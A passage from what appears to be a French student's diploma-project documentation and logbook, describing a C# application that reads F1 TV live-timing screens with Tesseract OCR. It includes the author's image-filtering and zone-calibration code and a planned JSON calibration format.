data : Il ouvre son navigateur et lance la page DATA de la F1 TV Il calibre la capture des data via le programme (pour la premi\u00e8re utilisation). Il confirme que les donn\u00e9es initiales sont bonnes (pour la premi\u00e8re utilisation). Il regarde tranquille son Grand Prix Le programme r\u00e9cup\u00e8re les data : Il r\u00e9cup\u00e8re des images depuis la F1TV Il utilise Tesseract (ou autre) pour en r\u00e9cup\u00e9rer les infos. Il met ces infos dans un Objet Pilote, dans un Objet course avec un attribut tour pour hi\u00e9rarchiser les data Pour ce qui est de l'affichage, l'id\u00e9e est de faire une application C# comme on l'a appris \u00e0 l'\u00e9cole, mais avec assez de style pour qu'elle puisse \u00eatre agr\u00e9able \u00e0 utiliser. Quand le programme affiche les data : Il prend les donn\u00e9es venant directement de la F1TV. Il affiche diff\u00e9remment les donn\u00e9es pour permettre une meilleure lisibilit\u00e9 Il interpr\u00e8te avec des r\u00e8gles plut\u00f4t simples certaines data pour faire des minipr\u00e9dictions ou aider \u00e0 la lecture Il r\u00e9cup\u00e8re des infos d'autres courses pour les comparer et proposer des pr\u00e9dictions plus int\u00e9ressantes","title":"Cas d'utilisation"},{"location":"CahierDesCharges.html#difficultes-techniques","text":"R\u00e9cup\u00e9rer un flux vid\u00e9o plut\u00f4t propre malgr\u00e9 les contres mesures de la F1 TV pour en emp\u00eacher la lecture par un logiciel Si on doit passer par une capture d'\u00e9cran, trouver un moyen de stocker les donn\u00e9es de mani\u00e8re \u00e0 pr\u00e9voir que parfois un tour pourrait avoir plus de donn\u00e9es qu'un autre, que le user peut mettre pause, ou m\u00eame qu\u2019il revienne en arri\u00e8re. D\u00e9velopper des algorithmes pour r\u00e9cup\u00e9rer les donn\u00e9es comme les diff\u00e9rents pneus utilis\u00e9s ou l'activation du DRS ainsi que d\u00e9velopper des moyens de nettoyer les r\u00e9sultats de l'OCR (Par exemple utiliser diff\u00e9rents champs redondants pour comparer les r\u00e9sultats) Stocker les donn\u00e9es sur une base pour les traiter plus tard tout en pr\u00e9voyant un moyen de voir les stats live D\u00e9velopper des algorithmes de pr\u00e9diction qui prennent en compte d'anciennes courses pour tenter de pr\u00e9dire des choses comme les arr\u00eats aux stands par exemple.","title":"Difficult\u00e9s techniques"},{"location":"jdb.html","text":"Journal de bord Mercredi 29 Mars 2023 Premier jour du travail de dipl\u00f4me. Nous avons eu un briefing de mr Garcia et nous avons pu commencer \u00e0 pr\u00e9parer le travail. Nous avons eu les diff\u00e9rents fichiers nescessaires \u00e0 la bonne r\u00e9alisation du projet et je me suis mis \u00e0 faire les fichiers nescessaires La premi\u00e8re chose a \u00e9t\u00e9 de faire ce mkdocs dans lequel j'ai mis un fichier yml plut\u00f4t standart qui risque de changer au fur et \u00e0 mesure. Voici le premier yml : site_name: Documentation Diplome theme: name: material palette: # Palette toggle for light mode - media: \"(prefers-color-scheme: light)\" scheme: default toggle: icon: material/brightness-7 name: Switch to dark mode # Palette toggle for dark mode - media: \"(prefers-color-scheme: dark)\" scheme: slate toggle: icon: material/brightness-4 name: Switch to light mode markdown_extensions: - attr_list - md_in_html plugins: - glightbox - with-pdf Voici un example de \u00e0 quoi ca ressemble en forme de site \"Exemple mkdocs\" Ensuite il m'a fallu faire une version plus \u00e0 jour de mon cahier des charges car je n'y avait pas touch\u00e9 depuis novembre. J'ai envoy\u00e9 un mail \u00e0 mes enseignants pour qu'ils puissent y jeter un oeuil pour \u00eatre s\u00fbr que je n'ai rien chang\u00e9 qui les d\u00e9rangent. Monsieur Jayr m'a demad\u00e9 \u00e0 l'occasion de lui faire un planning type Gantt alors je me suis mis \u00e0 la t\u00e2che. J'ai fait un planning pr\u00e9visionnel et une l\u00e9gende les deux sont dispo dans le dossier planning de ce repertoire. Ensuite je me suis mis \u00e0 tout mettre sur git. A commencer par ce repertoire Et c'est deja la fin de la journ\u00e9e ! Demain j'avance un peu sur la doc avec ce que je peux d\u00e9ja remplir et je finis de pr\u00e9parer ce dont j'ai besoin pour commencer \u00e0 coder. Jeudi 30 Mars 2023 Aujourd'hui selon le planning je dois me charger des dernirers pr\u00e9paratifs pour commencer correctement. J'ai fait expr\u00e8s de prenre du temps pour ca au d\u00e9but pour ne pas me cr\u00e9er de soucis plus loin pendant le travail. Je vais envoyer par mail le planning que j'ai fait \u00e0 mes suiveurs. Ensuite je vais m'attaquer au squelette de la docmentation. Je vais essayer de remplir tout ce que je peux remplir dans un premier temps car cela tout ca de fait pour plus tard quitte \u00e0 modifier quelques aspects au fur et \u00e0 mesure. J'ai aussi d\u00e9sactiv\u00e9 mkdocs with pdf par ce que les r\u00e9sultats ne sont vraiment pas ceux que j'attends et cela ralentis \u00e9norm\u00e9ment le d\u00e9ploiment. J'ai aussi rassembl\u00e9 mes croquis pour le poster : \"Croquis Poster 1\" \"Croquis Poster 2\" On peut voir que dans un premier temps j'ai tent\u00e9 de faire un poster un peu plus stylis\u00e9 et marketing. Cependant apr\u00e8s avoir discut\u00e9 avec Mr Garcia et diff\u00e9rents profs dont un de l'HEPIA et ils m'ont indiqu\u00e9 que ce qui \u00e9tait attendu \u00e9tait moins du marketing qu'un diagramme de fonctionnement. On peut voir sur les derniers posters que le cot\u00e9 technique ressort de plus en plus. Le but sera de faire une version encore plus technique ou on peut voir les diff\u00e9rents fonctionnements de l'application avec les technologies utilis\u00e9es. Le d\u00e9fi cela va \u00eatre de faire un joli poster qui soit en m\u00eame temps vendeur et en m\u00eame temps rempli techniquement. Oh et j'ai eu un probl\u00e8me ou mon calvier et ma souris ne voulaient d'un coup plus fonctionner. Dans mon cas c'\u00e9tait un probl\u00e8me de power management des ports. J'ai eu le soucis sur mon pc fixe \u00e0 la maison et sur mon pc portable \u00e9galement. En gros de ce que j'ai compris le soucis c'est que le pc croit que un port est trop solicit\u00e9 niveau puissance et du coup d\u00e9cide de couper l'alimentation du port USB. J'ai pu r\u00e8gler le soucis en allant dans le device manager sous universal bus controller sous power management et en d\u00e9cochant la case qui indique que windows peut d\u00e9sactiver ce port. Je ne conseille pas ce fix si vous avez des composants de mauvaise qualit\u00e9 car cela pourrait \u00eatre une vraie alerte cependant le fait que mes composants sont plut\u00f4t haut de gamme et le fait que mon clavier et ma souris le fassent en m\u00eame temps et que ils fonctionnaient tr\u00e8s bien depuis plus de 4 ans me font penser que c'est juste une nouvelle mise a jour de windows qui est p\u00e9nible. Demain je vais pouvoir commencer \u00e0 coder pour de bon. Vendredi 31/03/2023 Aujourd'hui on s'occupe de la PT2 qui est la programmation de la r\u00e9cup\u00e8ration des informations des images. Je vais tester IronOcr Source : https://www.c-sharpcorner.com/article/ocr-using-tesseract-in-C-Sharp/ Doc : https://ironsoftware.com/csharp/ocr/docs/ Examples : https://ironsoftware.com/csharp/ocr/examples/simple-csharp-ocr-tesseract/ Avant d'utiliser la librairie je me demande si je dois utiliser un peu de post processing pour aider \u00e0 la reconnaissance. Je peux soit utiliser l'image crop\u00e9e directement : \"Image non trait\u00e9e\" Soit avec un filtre pour passer en noir et blanc laxiste \"Image trait\u00e9e laxiste\" Soit avec un filtre pour passer en noir et blanc stricte \"Image trait\u00e9e stricte\" Il va falloir faire des tests avec tous les noms et les chiffres pour trouver le plus efficace. Bon malheureusment Iron OCR semblait \u00eatre une bonne alternative mais c'est une librairie priv\u00e9e qui demande une license pour \u00eatre utilis\u00e9e. Il va falloir trouver autre chose. En utilisant la librairie \"Tesseract\" qui existe on peut faire de la reconnaissance de texte avec un code plut\u00f4t simple : TesseractEngine engine = new TesseractEngine(tessDataFolder.FullName,\"eng\", EngineMode.Default); var tessImage = Pix.LoadFromMemory(ImageToByte(sample)); Page page = engine.Process(tessImage); string text = page.GetText(); Voici la methode ImageToByte : https://stackoverflow.com/questions/7350679/convert-a-bitmap-into-a-byte-array public static byte[] ImageToByte(Image img) { using (var stream = new MemoryStream()) { img.Save(stream, System.Drawing.Imaging.ImageFormat.Png); return stream.ToArray(); } } Voici le code pour traiter plusieurs textes sur une seule image : Page page = engine.Process(tessImage); // Get the iterator for the page layout using (var iter = page.GetIterator()) { // Loop over the elements of the page layout iter.Begin(); do { // Declare a Rect variable to hold the bounding box Rect boundingBox; // Get the bounding box for the current element if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { g.DrawRectangle(Pens.Red,new Rectangle(boundingBox.X1,boundingBox.Y1,boundingBox.Width,boundingBox.Height)); } // Get the text for the current element var text = iter.GetText(PageIteratorLevel.Word); tbxResult.Text += text.ToUpper() + Environment.NewLine; } while (iter.Next(PageIteratorLevel.Word)); } Etonnament, avec plus de texte, des noms qui \u00e9taient autrefois mal reconnus sont parfaitement interpr\u00eat\u00e9s. Par exemple voici un exemple de reconnaisance de texte sur tous les pilotes : \"Screenshot de reconnaisance d'image complete\" On voit que le nom Leclerc est mal reconnu. Mais voici ce que cela donne quand on prend une image qui ne contient que le nom Leclerc : \"Screenshot de reconnaissance d'image crop\u00e9e\" On voit ici que le nom Leclerc est tr\u00e8s bien reconnu. Dans le premier exemple on peut voir que Tsunoda est reconnu comme \"Reticin\" ce qui n'est pas exactement pareil (lol) Et quand on isole le nom Tsunoda dans une image seule : \"Screenshot de reconnaissance de Tsunoda\" Il le lit \"RETLELYY\" ce qui n'est toujours pas exactement ca... Une meilleure r\u00e9solution pourrait peut-\u00eatre r\u00e9soudre le probl\u00e8me en partie. Jusqu'ici les images \u00e9taient en presque 720P ce qui donne ceci : \"Tsunoda en 720P\" Et j'ai lanc\u00e9 une r\u00e9cup\u00e8ration d'images en 1080p pour r\u00e9cup\u00e8rer ceci : \"Tsunoda en 1080P\" On peut voir une certaine diff\u00e9rence tout de m\u00eame. Et quand on lance la reconnaissance : \"Reconnaissance Tsunoda en 1080P\" \"Tsunoda n'est plus \u00e9crit \"RETLELYY\" mais \"TSUNDDA\" ce qui n'est pas parfait mais qui est d\u00e9ja beaucoup mieux. J'ai essay\u00e9 de mettre l'engine de Tesseract en mode \"JPN\" comme Tsunoda est un nom japonais mais sans succ\u00e8s j'ai le m\u00eame r\u00e9sultat. Comme la r\u00e9solution est meilleure je me suis dit que peut \u00eatre le filtre de passage en noir et blanc pourrait aider. J'ai \u00e9crit cette petite methode pour convertir l'image en noir et blanc : private static Bitmap ConvertToBlackAndWhite(Bitmap inputBmp) { const int BLACK_TO_WHITE_TRESHOLD = 200; Bitmap result = new Bitmap(inputBmp.Width, inputBmp.Height); for (int y = 0; y < inputBmp.Height; y++) { for (int x = 0; x < inputBmp.Width; x++) { Color pixelColor = inputBmp.GetPixel(x,y); if (pixelColor.R <= BLACK_TO_WHITE_TRESHOLD && pixelColor.G <= BLACK_TO_WHITE_TRESHOLD && pixelColor.B <= BLACK_TO_WHITE_TRESHOLD) { pixelColor = Color.FromArgb(0,0,0); } else { pixelColor = Color.FromArgb(255,255,255); } result.SetPixel(x,y,pixelColor); } } return result; } Rien de bien dingue mais cela fonctionne et je peux jouer avec le BLACK_AND_WHITE_TRESHOLD pour changer son comportement. J'ai dabord test\u00e9 avec un treshold de 100 et le programme a r\u00e9ussi \u00e0 me sortir Tsunoda en deux mots ce qui \u00e9tait d\u00e9ja tr\u00e8s encourageant. Et apr\u00e8s avoir augment\u00e9 le Treshold... Tada : \"Tsunoda 1080P avec filtre\" Le programme arrive bien \u00e0 reconnaitre TSUNODA. Je pense que cette tactique ne fonctionnait pas avant car la resolution \u00e9tait trop faible et l'aliasing se m\u00ealait trop avec le texte pour \u00eatre utilisable. Cependant cette technique ne fonctionne pas sur tous les noms. Par example avec Leclerc : \"Leclerc 1080P avec filtre\" On r\u00e9cup\u00e8re \"Leeler'c\" ce qui n'est pas bon du tout. Mais en modulant le Treshold (ici \u00e0 150) On peut de nouveau voir Leclerc \u00eatre reconnu correctement \"Leclerc 1080P avec filtre 2\" Je pense que pour avoir de bons r\u00e9sultats il va falloir faire un algo qui : D\u00e9coupe l'image en autant de plus petites images pour avoir un mot par image. Teste voir si avec l'image originale un nom correspond \u00e0 la liste de pilotes existant. Si cela ne marche pas, on applique le filtre en modulant le Treshold. Dans le cas ou on aurait pas un match parfait on fait un algo qui cherche le nom le plus proche qui existe dans la liste de noms donn\u00e9s. Seulement voila, il n'y a pas que des lettres que l'on veut r\u00e9cup\u00e8rer. On veut surtout pouvoir r\u00e9cup\u00e8rer les chiffres. Pour les chiffres on va avoir des soucis \u00e9galement... Si on essaie directement la m\u00eame technique sans filtre on a des r\u00e9sultats comme celui ci : \"Tentative de reconnaisance du timing\" La virgule a tendeance \u00e0 se barrer ce qui est particuli\u00e8rement probl\u00e9matique. Cependant comme les chiffres ont beaucoup moins de possibilit\u00e9es que les lettres et qu'il n'y a pas de probl\u00e8me de langue on devrait pouvoir travailler \u00e0 faire des r\u00e8glage que l'on pourra ensuite utiliser. Avec un Treshold de 165 on arrive presque \u00e0 quelque chose d'int\u00e9ressant : \"Tentative 2 de reconnaissance du timing\" Le + n'est clairement pas compris mais ca n'est pas emb\u00eatant car c'est souvent redondant. On arrive cependant \u00e0 isoler 3 et 259. M\u00eame si la virgule n'est pas comprise cela veut dire qu'il est tout de m\u00eame possible de discriminer les secondes des milisecondes. Maintenant avec un temps au tour : \"Reconnaissance du timing au tour\" On arrive sans rien changer aux param\u00eatres \u00e0 isoler minutes secondes et milisecondes. Il semble que la reconnaissance de chiffre soit bien plus efficace que la reconnaissance de lettres. Il va falloir faire un test \u00e0 plus grande \u00e9chelle avec plus d'image pour se rendre compte de la precision. Demain ce qui serait bien cela serait que je fasse un jeu d'images avec des valeurs connues et que je fasse une batterie de tests pour voir \u00e0 quel point je peux faire confiance \u00e0 la reconnaissance des chiffres. Automatiser un syst\u00e8me de test de la sorte me sera tr\u00e8s utile dans le futur pour v\u00e9rifier la non regression de ma reconnaissance de texte quand je tenterai d'y faire des changements. Je suis toujours curieux cependant de voir comment le programme se d\u00e9brouille avec les nombres de tours qui se trouvent dans les icones de pneus. Lundi 3 Avril Aujourd'hui on va faire un programme qui permet de cr\u00e9er un dataset qui permette de tester le programme de reconnaissance. Je pense que le meilleur moyen de faire serait un programme qui cr\u00e9e le dataset et qui ensuite peut tester diff\u00e9rentes methodes de reconnaissance. Par la m\u00eame occasion je peux d\u00e9velopper la technologie qui va permettre de d\u00e9couper une image en 20 lignes ce qui me servira ensuite pour la reconnaissance. Je me rend compte que pour faire un programme de tests je dois d\u00e9ja avoir une id\u00e9e de la structure de mon programme. Pour le moment je r\u00e9flechis \u00e0 un syst\u00e8me de \"Zones\" et de \"Windows\". L'id\u00e9e serait que une Zone est juste une sous partie d'image qui peut encore \u00eatre d\u00e9compos\u00e9 tandis que chaque Window contient une ou plusieurs informations \u00e0 r\u00e9cup\u00e8rer. J'ai essay\u00e9 de d\u00e9couper l'image pour que cela soit plus clair : \"Main zone\" Ici on peut voir que l'image est d\u00e9coup\u00e9e en plusieurs grandes zones. Dans un premier temps on ne s'occupe que de la premi\u00e8re. Ensuite : \"Driver zone #1\" On peut voir la que cette Main zone serait elle m\u00eame d\u00e9compos\u00e9e en plusieurs plus petites zones. Et ensuite chacunes de ces petites zones : \"Driver windows\" Sera d\u00e9compos\u00e9e en plusieurs windows qui elles sont des zones qui contiennent de l'information. En gros on aurait trois types de zone : Les zones qui contiennent d'autres zones Les zones qui contiennent des Windows Les Windows Cependant en y r\u00e9flechissant on pourrait tout \u00e0 fait avoir seulement des zones et des windows en faisant en sorte que les windows peuvent avoir une liste de windows et une liste de zones. Une zone serait compos\u00e9e de : Une image de d\u00e9part Un rectangle qui la positionne sur cette derni\u00e8re Une liste de zones (potentiellement vide) Une liste de windows (potentiellement vide) Une methode qui permet de r\u00e9cup\u00e8rer une image de la zone Une methode qui permet de lancer la reconnaissance sur chaque window Une window serait compos\u00e9e de : Une image de d\u00e9part (cela peut \u00eatre l'image crop\u00e9e de la zone parente peu importe) Un rectangle qui la positionne sur cette derni\u00e8re Une methode qui permet de r\u00e9cup\u00e9rer un image de la window Une methode qui permet de lancer la reconnaisance sur l'image (Chaque type de zone doit l'impl\u00e9menter) Dans chaque window on peut imaginer que la methode qui fait la reconnaissance au lieu de retourner un objet qui peut contenir nimporte quel type d'information peut envoyer ce qu'elle vient de r\u00e9cup\u00e8rer dans une base de donn\u00e9e ou un objet. Par exemple une Zone de pilote pourrait tr\u00e8s bien contenir un objet pilote et le donner \u00e0 ses windows qui rempliraient ce m\u00eame objet. C'est une reflexion plus stockage que OCR mais c'est int\u00e9ressant pour savoir ce que fait une window des donn\u00e9es qu'elle r\u00e9cup\u00e8re. Dans un premier temps je pense que les windows vont simplement \u00e9crire dans un fichier ce qu'elles trouvent chacunes dans le format qu'elles veulent. Pour comprendre pourquoi je me prend la t\u00eate il faut savoir que chaque window peut avoir acc\u00e8s \u00e0 pleins d'informations diff\u00e9rentes. On pourrait dire qu'elles retournent toutes une string sauf que si ca marche pour un temps au tour ou pour un nom de pilote, cela ne marche pas forc\u00e9ment pour un type de pneu ou un DRS ouver. Comme chaque window a plusieurs types de data elle devra elle m\u00eame se charger de comment la traiter ET de la stocker. Voila un diagramme qui r\u00e9sume comment je vois l'impl\u00e9mentation dans un premier temps : \"Diagramme d'explications\" Voici comment se pr\u00e9sente le squellette d'une Zone : public class Zone { private Bitmap FullImage; private List Zones; private List Windows; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap ZoneImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Zone(Image fullImage, Rectangle bounds) { FullImage = (Bitmap)fullImage; Init(bounds); } public Zone(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Init(bounds); } private void Init(Rectangle bounds) { Bounds = bounds; Zones = new List(); Windows = new List(); } public void AddZone(Rectangle bounds) { if(Fits(bounds)) Zones.Add(new Zone(ZoneImage,bounds)); } public void AddWindow(Rectangle bounds) { if (Fits(bounds)) Windows.Add(new Window(ZoneImage,bounds)); } private bool Fits(Rectangle inputRectangle) { if (inputRectangle.X + inputRectangle.Width > Bounds.Width || inputRectangle.Y + inputRectangle.Height > Bounds.Height || inputRectangle.X < 0 || inputRectangle.Y < 0) { return false; } else { return true; } } } Le but est ensuite de cr\u00e9er diff\u00e9rent types de Zones. Par exemple la MainZone devra d\u00e9couper son contenu en 20 parties \u00e9gales pour tenter de chopper les 20 pilotes. Il serait cool de trouver un moyen de calibrer automatiquement. C'est peut-\u00eatre possible de calibrer avec de la reconnaissance de texte, on peut essayer de lancer la reconnaissance et voir ou on trouve du texte avec un peu de chance cela pourrait donner les positions et avec ca on peut peut-\u00eatre determiner des lignes. Et voici le squelette d'une window g\u00e9n\u00e9rique using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Drawing; namespace OCR_tester { public class Window { private Bitmap FullImage; private Rectangle _bounds; public Rectangle Bounds { get => _bounds; private set => _bounds = value; } public Bitmap WindowImage { get { Bitmap sample = new Bitmap(Bounds.Width, Bounds.Height); Graphics g = Graphics.FromImage(sample); g.DrawImage(FullImage, new Rectangle(0, 0, sample.Width, sample.Height), Bounds, GraphicsUnit.Pixel); return sample; } } public Window(Bitmap fullImage, Rectangle bounds) { FullImage = fullImage; Bounds = bounds; } public virtual void RecoverInformations() { //Each Window type will have to implement its own way to recover the informations stored in the Window Image } } } Chaque Window pourra ainsi elle m\u00eame impl\u00e9menter la r\u00e9cup\u00e8ration d'informations. La facon de les retourner/stocker est encore un peu floue. Par exemple pour un temps au tour on peut imaginer que il fait une petite v\u00e9rification dans l'objet pilote et dans le tableau des tours si il n'y a pas deja une valeur et si il n'y en a pas une alors il peut l'ajouter. Maintenant je vais essayer de cr\u00e9er une Main window qui se calibre toute seule. Alors apr\u00e8s avoir bien gal\u00e8r\u00e9 avec l'interface pour permettre au user de cliquer sur la form pour voir les zones qu'il cr\u00e9e, j'ai pu cr\u00e9er un zone qui fait les dimensions de MainZone et j'ai pu lancer la reconnaissance sur l'image et voir ou il trouve du texte : \"MainZone avec carr\u00e9s de texte\" Maintenant il faut que je nettoie la liste de rectangle pour exclure ceux qui sont trop grands pour \u00eatre sur une seule ligne, ceux qui indiquent le nombre de tour en haut et ceux qui n'ont pas d'int\u00e9r\u00eats. On pourra ensuite isoler les lignes et cr\u00e9er une liste d'images. Pour ce qui est de la ligne qui contient les \"Gap interval last lap\" et des chiffres sur les tours pour les pneus etc je vais juste demander \u00e0 l'utilisateur de ne pas les prendre dans la screenshot. Comme ils contiennent des mots qui peuvent \u00eatre utilis\u00e9s plus loin dans les data je ne peux pas les blacklister et faire un syst\u00e8me qui s'occupe de les enlever si ils existent selon le position y me prendrait trop de temps pour rien. Apr\u00e8s avoir filtr\u00e9 un peu les resultats et enlev\u00e9 les zones beaucoup trop grandes, on se retrouve d\u00e9ja plus qu'avec ca : \"MainZone avec de meilleurs carr\u00e9s\" Comme on peut le voir, du c\u00f4t\u00e9 gauche de l'image on a beaucoup de choses reconnues mais avec beaucoup de tailles diff\u00e9rentes ce qui n'est pas id\u00e9al. Alors j'ajoute un filtre qui permet de ne selectionner que les data sur la droite. \"MainZone avec de meilleurs carr\u00e9s\" Maintenant il devrait \u00eatre possible de faire un algorythme qui ne prend que un seul carr\u00e9 par ligne. \"MainZone avec un seul carr\u00e9 par ligne\" Maintenant que on sait ou se trouve chaque ligne on peut faire un petit traitement et d\u00e9couper l'image en plusieurs windows. Et voila : \"Mainzone auto calibr\u00e9e\" Maintenant le programme peut cr\u00e9er des zones pour chaque pilote \"Images pilotes\" \"Zone d'un pilote\" Maintenant il faut que j'impl\u00e9mente un syst\u00e8me un peu similaire pour cr\u00e9er des windows. Voici la methode que j'ai cr\u00e9\u00e9 pour l'autocalibration : public void AutoCalibrate() { List detectedText = new List(); Zones = new List(); TesseractEngine engine = new TesseractEngine(Window.tessDataFolder.FullName, \"eng\", EngineMode.Default); Image image = ZoneImage; var tessImage = Pix.LoadFromMemory(Window.ImageToByte(image)); Page page = engine.Process(tessImage); using (var iter = page.GetIterator()) { iter.Begin(); do { Rect boundingBox; if (iter.TryGetBoundingBox(PageIteratorLevel.Word, out boundingBox)) { //var text = iter.GetText(PageIteratorLevel.Word).ToUpper(); //We remove all the rectangles that are definitely too big if (boundingBox.Height < image.Height / NUMBER_OF_DRIVERS) { //Now we add a filter to only get the boxes in the right because they are much more reliable in size if (boundingBox.X1 > image.Width / 2) { //Now we check if an other square box has been found roughly in the same y axis bool match = false; //The tolerance is roughly half the size that a window will be int tolerance = (image.Height / NUMBER_OF_DRIVERS) / 2; foreach (Rectangle rect in detectedText) { if (rect.Y > boundingBox.Y1 - tolerance && rect.Y < boundingBox.Y1 + tolerance) { //There already is a rectangle in this line match = true; } } //if nothing matched we can add it if(!match) detectedText.Add(new Rectangle(boundingBox.X1, boundingBox.Y1, boundingBox.Width, boundingBox.Height)); } } } } while (iter.Next(PageIteratorLevel.Word)); } foreach (Rectangle Rectangle in detectedText) { Rectangle windowRectangle; Size windowSize = new Size(image.Width, image.Height / NUMBER_OF_DRIVERS); Point windowLocation = new Point(0, (Rectangle.Y + Rectangle.Height / 2) - windowSize.Height / 2); windowRectangle = new Rectangle(windowLocation, windowSize); Zones.Add(new Zone(ZoneImage, windowRectangle)); } } Ca peut paraitre pas \u00e9norme comme code mais pour tout mettre en place ca demande quand m\u00eame pas mal de reflexion. J'ai du clean un peu le code que j'avais fait pour permettre la selection de zones et ajouter la possibilit\u00e9 d'ajouter des windows sur une zone. J'ai juste quelques difficult\u00e9es \u00e0 les ajouter correctement, j'ai un offset tout pourri qui se met tout le temps \"Sainz coup\u00e9\" \"Perez coup\u00e9\" Cela doit \u00eatre un soucis lors de la detection de clic qui met un offset en trop. C'est vraiment p\u00e9nible en tout cas. Certes c'est moins fun de devoir manuellement indiquer ou sont les windows sur une ligne de pilote, mais je ne vois vraiment pas comment faire cela automatiquement. Le but c'est de faire une configuration qui puisse \u00eatre sauvegard\u00e9e comme ca pas besoin d'\u00e0 chaques fois le refaire. C'est bon ! J'avais juste oubli\u00e9 de changer le calcul d'offset entre le code de la zone et de la window. Note pour plus tard, il serait peut-\u00eatre judicieux de faire quelque chose pour la vue, les windows et les Zones ont le m\u00eame exact comportement pour la vue ce qui fait dupliquer du code. Mais au moins maintenant ca fonctionne : \"Ocr tester screenshot\" Et le programme va directement cr\u00e9er un dossier par pilote avec toutes les images de chaque Data le concernant : \"Dossier Perez\" ; Et c'est tout pour aujourd'hui je pense. Ce qui serait cool demain c'est que je puisse stocker d'une mani\u00e8re ou d'une autre ces fichiers de calibration et que je puisse les transf\u00e8rer vers le programme qui va s'occuper de d\u00e9coder et commencer gentillement \u00e0 d\u00e9coder les diff\u00e9rents types de data. Note pour quand je ferai les tests. Je pense que la meilleure id\u00e9e serait que je prenne pleins de photos du style et que je les mette dans un fichier CSV ou JSON avec leur contenu. Et ensuite je le fais passer en tests pour calculer la prescision de mon algo de d\u00e9codage. Pour le moment on est plut\u00f4t dans les clouts niveau planning. Mardi 4 Avril Aujourd'hui je suis scens\u00e9 plut\u00f4t bosser sur l'interpretation des donn\u00e9es, mais une id\u00e9e m'a taraud\u00e9 l'esprit toute la nuit. Est-ce que je ne pourrais pas quand m\u00eame essayer de d\u00e9composer la zone de pilote directment comme pour la Main zone. Pour ce faire j'ai tent\u00e9 de faire comme pour la main zone c'est \u00e0 dire lancer la reconnaissance pour savoir ou \u00e9taient tous les champs de donn\u00e9es mais malheureusement je ne pense pas que cela va \u00eatre possible. En effet non seulement ici les champs sont de tailles tr\u00e8s vari\u00e9es, mais en plus la reconnaissance n'arrive pas \u00e0 en r\u00e9cup\u00e8rer le m\u00eame nombre sur chaque ligne ce qui risque d'\u00eatre complexe \u00e0 utiliser ensuite. La preuve : \"Tentative d'auto calibration\" ; Cependant tout n'est pas perdu ! Il y a peut-\u00eatre un moyen qui serait mieux en tous points. Le soucis avec ce type de reconnaissance c'est qu'on utilise beaucoup de ressources inutiles. On peut peut-\u00eatre hard coder la valeur des diviseurs et les utiliser pour cr\u00e9er des zones. Ok alors visiblement c'est un probl\u00e8me car il semble y avoir d'autres pixels de cette couleur dans l'image (Qui l'aurait cru lol) \"Tentative 2\" J'a tent\u00e9 de r\u00e9duire la tol\u00e9rance mais le soucis c'est que c'est soit trop soit pas assez Derni\u00e8re tentative, j'ai essay\u00e9 de prendre plusieurs pixels en hauteur pour chaque incr\u00e9ment de X et en faire la moyenne, et m\u00eame comme ca, impossible de trouver de mani\u00e8re efficace les zones. Je pense que je vais donc revert tous mes changements pour revenir \u00e0 la version ou on les choisissait manuellement. Pas mal de temps perdu mais bon c'est comme ca ca arrive Bon j'ai fait un revert mais j'ai ajout\u00e9 une feature importante. Les zones font la largeur indiqu\u00e9e par l'utilisateur mais elles font la hauteur max comme ca toutes les window font la m\u00eame hauteur et ca permet \u00e0 l'utilisateur de ne pas forc\u00e9ment \u00eatre ultra pr\u00e9cis dans sa selection. Ce qui nous donne : \"Resultat final\" Maintenant je dirais que les deux prochaines choses \u00e0 faire seraient de stocker ces zones dans un fichier JSON ou autre pour que la calibration puisse \u00eatre envoy\u00e9e directement dans le logiciel de reconnaissance et ensuite de faire une calibration sur des images qui font la taille qu'on aura pendant les Grands Prix. Pour le moment elles sont au format 16:10 qui est le format d'\u00e9crant de mon laptop. Pour le stockage j'imagine un fichier qui donne des indications assez simples qui permettent de reconstruire le total des zones quand il est import\u00e9 plutot que d'\u00e9crire les coordonn\u00e9es en dur pour chacunes. Chaque Grande zone va impl\u00e9menter une methode qui s'occupe de mettre tous ses enfants dans un fichier. { \"MainZone\":{ \"x\": 10, \"y\": 20, \"width\": 1450, \"height\": 1340, \"DriverZone\":{ \"x\": 0, \"y\": 23, \"height\": 25, \"Windows\":[ { \"DriverPositionWindow\":{ \"x\": 0, \"y\": 0, \"width\": 35 } }, { \"DriverPositionChangesWindow\":{ \"x\": 0, \"y\": 0, \"width\":45 } } ] } } } C'est le r\u00e9sultat auquel j'aimerais arriver. Mais pour y arriver il faut encore que je cr\u00e9e les diff\u00e9rents types de window. Cela veut dire que je dois d\u00e9cider quelles informations je vais r\u00e9cup\u00e8rer de la page. Par exemple je vais conserver la position du pilote mais au final les changements de positions sont difficiles \u00e0 lire et sont redondants. Si je garde un historique des positions des pilotes je peux calculer moi m\u00eame les changements. Pareil pour gap avec la voiture devant. Je pense que je vais juste garder l'information des \u00e9carts absolus et ensuite je pourrai toujours calculer la diff\u00e9rence entre les pilotes. Ca peut para\u00eetre b\u00eate car cela rajoute du calcul mais en r\u00e9alit\u00e9 le calcul de l'OCR est extr\u00eamement gourmand alors il faut que j'\u00e9vite le plus possible d'y faire recours. Il est bien plus rapide de calculer les \u00e9carts que d'essayer de reconnaitre le texte et le convertir en chiffre. J'ai visiblement ajout\u00e9 un bug dans mon code. Maintenant tous les pilotes ont la m\u00eame image quand on les selectionne. Mais visiblement ca n'\u00e9tait pas le cas avant car j'avais pu prendres des images de chaque pilote. J'ai pass\u00e9 3 minutes \u00e0 fixer un bug stupide j'ai un peu envie de br\u00fbler ma place de travail... Mais bon au moins maintenant cela fonctionne ! Toutes les images sont r\u00e9cup\u00e8r\u00e9es et ont un format correct avec le bon nom : \"Verstappen folder\" Avec un peu de code tr\u00e8s moche j'ai pu cr\u00e9er un fichier JSON qui contient les diff\u00e9rentes infos. Cependant en exportant TOUT on se retrouve avec un fichier de 1200 lignes ce qui n'est pas optimal. Mais quand on regarde, il devrait \u00eatre possible de faire un fichier qui ne contient que les infos d'un seul pilote car ensuite il y a simplement un offset \u00e0 appliquer sur la zone et les windows. Je vais donc pouvoir commencer enfin le logiciel de d\u00e9codage qui prend en entr\u00e9e un fichier JSON comme celui ci qui a \u00e9t\u00e9 